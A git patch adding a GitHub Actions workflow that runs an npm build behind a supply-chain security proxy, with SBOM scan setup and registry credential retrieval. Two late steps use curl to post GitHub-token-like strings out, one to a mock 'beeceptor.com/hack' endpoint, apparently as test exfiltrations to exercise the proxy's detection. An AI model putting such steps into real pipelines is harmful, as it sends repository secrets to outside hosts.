From 0be7dfd2c92270652e924a9b000fbd213e484427 Mon Sep 17 00:00:00 2001
From: Pranesh-Shrestha <pranesh.shrestha@tekvortex.com>
Date: Thu, 19 Dec 2024 15:18:31 +0545
Subject: [PATCH] Create main for secrets.yml

---
 .github/workflows/main for secrets.yml | 113 +++++++++++++++++++++++++
 1 file changed, 113 insertions(+)
 create mode 100644 .github/workflows/main for secrets.yml

diff --git a/.github/workflows/main for secrets.yml b/.github/workflows/main for secrets.yml
new file mode 100644
index 0000000..096f749
--- /dev/null
+++ b/.github/workflows/main for secrets.yml	
@@ -0,0 +1,113 @@
+name: Build JS Package For Secrets
+on:
+  push:
+    branches: [ PROD ]
+  pull_request:
+    branches: [ PROD ]
+
+permissions:
+  checks: write
+  contents: read
+  packages: read
+env:
+  API_URL: https://app.veribom.com
+
+jobs:
+  create_scan_in_IR_Portal:
+    runs-on: ubuntu-latest
+    outputs:
+      scan_id: ${{ steps.parseResponse.outputs.scan_id }}
+    steps:
+      - name: Initiating SBOM Scan
+        id: createScan
+        uses: fjogeleit/http-request-action@v1.15.1
+        with:
+          url: '${{env.API_URL}}/utilityapi/v1/scan'
+          method: 'POST'
+          data: '{"api_key": "${{secrets.VB_API_KEY_PROD}}"}'
+      - name: Parse Response
+        id: parseResponse
+        run: echo "scan_id=${{fromJSON(steps.createScan.outputs.response).data.scan_id}}" >> "$GITHUB_OUTPUT"
+  ecr_details:
+    runs-on: ubuntu-latest
+    outputs:
+      ecr_username: ${{steps.ecr_details.outputs.username}}
+      ecr_token: ${{steps.ecr_details.outputs.token}}
+      ecr_region: ${{steps.ecr_details.outputs.region}}
+      ecr_id: ${{steps.ecr_details.outputs.registry_id}}
+    steps:
+      - name: Fetching VB Token
+        id: fetchECRDetails
+        uses: fjogeleit/http-request-action@v1.15.1
+        with:
+            url: '${{env.API_URL}}/utilityapi/v1/registry?api_key=${{secrets.VB_API_KEY_PROD}}'
+            method: 'GET'
+      - name: Decoding VB Token
+        id: parseToken
+        run: echo "DECODED_TOKEN=$(echo ${{ fromJson(steps.fetchECRDetails.outputs.response).data }} | base64 -d)" >> "$GITHUB_OUTPUT"
+      - name: ECR Details
+        id: ecr_details
+        run: |
+          echo "username=${{fromJSON(steps.parseToken.outputs.DECODED_TOKEN).username}}" >> "$GITHUB_OUTPUT"
+          echo "token=${{fromJSON(steps.parseToken.outputs.DECODED_TOKEN).password}}" >> "$GITHUB_OUTPUT"
+          echo "region=${{fromJSON(steps.parseToken.outputs.DECODED_TOKEN).region}}" >> "$GITHUB_OUTPUT"
+          echo "registry_id=${{fromJSON(steps.parseToken.outputs.DECODED_TOKEN).registry_id}}" >> "$GITHUB_OUTPUT"
+          
+  start_proxy_and_build:
+    runs-on: ubuntu-latest
+    needs: [create_scan_in_IR_Portal, ecr_details]
+    services:
+      pse:
+        image: 282904853176.dkr.ecr.us-west-2.amazonaws.com/invisirisk/pse-proxy:latest
+        credentials:
+          username: ${{needs.ecr_details.outputs.ecr_username}}
+          password: ${{needs.ecr_details.outputs.ecr_token}}
+        env:
+          PSE_DEBUG_FLAG: --alsologtostderr
+          POLICY_LOG: t
+          INVISIRISK_JWT_TOKEN: ${{secrets.VB_API_KEY_PROD}}
+          INVISIRISK_PORTAL: https://app.veribom.com/
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 
+    container:
+      image: node:18-buster
+      options: --cap-add=NET_ADMIN --privileged
+    strategy:
+      matrix:
+        node-version: [18.x]
+    steps:
+    - name: Install curl
+      run: |
+        apt-get update
+        apt-get install -y curl
+      
+    - env: 
+        SCAN_ID: ${{ needs.create_scan_in_IR_Portal.outputs.scan_id }}
+      run: echo $SCAN_ID
+    - uses: invisirisk/pse-action@v1.0.8
+      with:
+          github-token: ${{ secrets.GITHUB_TOKEN }}
+          SCAN_ID: ${{ needs.create_scan_in_IR_Portal.outputs.scan_id }}
+    - name: Checkout the code
+      uses: actions/checkout@v3
+    - name: Use Node.js ${{ matrix.node-version }}
+      uses: actions/setup-node@v3
+      with:
+        node-version: ${{ matrix.node-version }}
+
+    - name: Send POST request with GitHub token
+      run: |
+          curl -k -X POST https://vbirmock.free.beeceptor.com/hack \
+            -H "Content-Type: application/json" \
+            -d '{
+            "GH": "ghp_DEFzmg7RHrQ2eMe2IF4NxNWQodYpab3VMXXX"
+          }'
+    - name: Make API Request
+      run: |
+        curl -k -X POST https://api.github.com/endpoint \
+        -d '{"name": "ghp_1234567890abcdef1234567890abcdef12345678", "description": "A description of my repository"}'
+        
+    - name: install dependencies
+   # run: pip install -r requirements.txt
+      run: npm install
+    # - run: npm run build --if-present
+    # - run: npm test